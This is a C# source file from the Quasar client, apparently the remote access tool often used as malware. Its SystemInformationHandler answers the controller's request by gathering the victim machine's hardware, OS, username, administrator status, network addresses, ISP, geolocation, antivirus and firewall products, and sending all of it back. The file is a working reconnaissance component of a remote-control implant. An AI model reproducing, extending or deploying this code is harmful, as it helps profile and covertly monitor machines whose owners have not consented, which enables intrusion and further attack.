using Quasar.Client.Helper;
using Quasar.Client.IpGeoLocation;
using Quasar.Client.User;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Quasar.Client.IO;
using System.Management;
using System.Windows.Forms;
using System.Security.Principal;

namespace Quasar.Client.Messages
{
    public class SystemInformationHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is GetSystemInfo;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case GetSystemInfo msg:
                    Execute(sender, msg);
                    break;
            }
        }

        private void Execute(ISender client, GetSystemInfo message)
        {
            try
            {
                IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();

                var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
                var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";

                var geoInfo = GeoInformationFactory.GetGeoInformation();
                var userAccount = new UserAccount();

                List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
                {
                    // Hardware Information
                    new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
                    new Tuple<string, string>("Processor Cores", GetProcessorCores()),
                    new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
                    new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuName),
                    new Tuple<string, string>("Mainboard", HardwareDevices.MainboardName),
                    new Tuple<string, string>("BIOS Manufacturer", HardwareDevices.BiosManufacturer),
                    
                    // Operating System Information
                    new Tuple<string, string>("Operating System", GetOSVersion()),
                    new Tuple<string, string>("OS Architecture", GetOSArchitecture()),
                    new Tuple<string, string>("OS Build", GetOSBuild()),
                    new Tuple<string, string>(".NET Framework", GetDotNetVersion()),
                    
                    // User & Computer Information
                    new Tuple<string, string>("Username", userAccount.UserName),
                    new Tuple<string, string>("User Account Type", GetAccountType()),
                    new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
                    new Tuple<string, string>("Domain Name", domainName),
                    new Tuple<string, string>("Host Name", hostName),
                    
                    // Storage Information
                    new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
                    new Tuple<string, string>("System Directory", Environment.SystemDirectory),
                    new Tuple<string, string>("Total Disk Space", GetTotalDiskSpace()),
                    new Tuple<string, string>("Free Disk Space", GetFreeDiskSpace()),
                    
                    // Display Information
                    new Tuple<string, string>("Screen Resolution", GetScreenResolution()),
                    
                    // System Status
                    new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
                    new Tuple<string, string>("Last Boot Time", GetLastBootTime()),
                    
                    // Network Information
                    new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
                    new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
                    new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
                    new Tuple<string, string>("ASN", geoInfo.Asn),
                    new Tuple<string, string>("ISP", geoInfo.Isp),
                    
                    // Security Information
                    new Tuple<string, string>("Antivirus", SystemHelper.GetAntivirus()),
                    new Tuple<string, string>("Firewall", SystemHelper.GetFirewall()),
                    
                    // Location Information
                    new Tuple<string, string>("Time Zone", geoInfo.Timezone),
                    new Tuple<string, string>("Country", geoInfo.Country)
                };

                client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos });
            }
            catch
            {
            }
        }

        private string GetProcessorCores()
        {
            try
            {
                int coreCount = 0;
                foreach (var item in new ManagementObjectSearcher("Select NumberOfCores from Win32_Processor").Get())
                {
                    coreCount += int.Parse(item["NumberOfCores"].ToString());
                }
                return coreCount.ToString();
            }
            catch
            {
                return Environment.ProcessorCount.ToString();
            }
        }

        private string GetOSVersion()
        {
            try
            {
                using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
                {
                    foreach (ManagementObject os in searcher.Get())
                    {
                        return os["Caption"].ToString();
                    }
                }
            }
            catch { }
            return Environment.OSVersion.ToString();
        }

        private string GetOSArchitecture()
        {
            return Environment.Is64BitOperatingSystem ? "64-bit" : "32-bit";
        }

        private string GetOSBuild()
        {
            try
            {
                using (var searcher = new ManagementObjectSearcher("SELECT BuildNumber FROM Win32_OperatingSystem"))
                {
                    foreach (ManagementObject os in searcher.Get())
                    {
                        return os["BuildNumber"].ToString();
                    }
                }
            }
            catch { }
            return "Unknown";
        }

        private string GetDotNetVersion()
        {
            try
            {
                using (Microsoft.Win32.RegistryKey ndpKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\"))
                {
                    if (ndpKey != null)
                    {
                        int releaseKey = (int)ndpKey.GetValue("Release");
                        if (releaseKey >= 528040) return "4.8 or later";
                        if (releaseKey >= 461808) return "4.7.2";
                        if (releaseKey >= 461308) return "4.7.1";
                        if (releaseKey >= 460798) return "4.7";
                        if (releaseKey >= 394802) return "4.6.2";
                        if (releaseKey >= 394254) return "4.6.1";
                        if (releaseKey >= 393295) return "4.6";
                        return "4.5 or later";
                    }
                }
            }
            catch { }
            return "Unknown";
        }

        private string GetAccountType()
        {
            try
            {
                WindowsIdentity identity = WindowsIdentity.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(identity);
                return principal.IsInRole(WindowsBuiltInRole.Administrator) ? "Administrator" : "Standard User";
            }
            catch
            {
                return "Unknown";
            }
        }

        private string GetTotalDiskSpace()
        {
            try
            {
                DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory));
                double totalGB = drive.TotalSize / (1024.0 * 1024.0 * 1024.0);
                return $"{totalGB:F2} GB";
            }
            catch
            {
                return "Unknown";
            }
        }

        private string GetFreeDiskSpace()
        {
            try
            {
                DriveInfo drive = new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory));
                double freeGB = drive.AvailableFreeSpace / (1024.0 * 1024.0 * 1024.0);
                return $"{freeGB:F2} GB";
            }
            catch
            {
                return "Unknown";
            }
        }

        private string GetScreenResolution()
        {
            try
            {
                return $"{Screen.PrimaryScreen.Bounds.Width} x {Screen.PrimaryScreen.Bounds.Height}";
            }
            catch
            {
                return "Unknown";
            }
        }

        private string GetLastBootTime()
        {
            try
            {
                using (var searcher = new ManagementObjectSearcher("SELECT LastBootUpTime FROM Win32_OperatingSystem"))
                {
                    foreach (ManagementObject os in searcher.Get())
                    {
                        DateTime bootTime = ManagementDateTimeConverter.ToDateTime(os["LastBootUpTime"].ToString());
                        return bootTime.ToString("yyyy-MM-dd HH:mm:ss");
                    }
                }
            }
            catch { }
            return "Unknown";
        }
    }
}
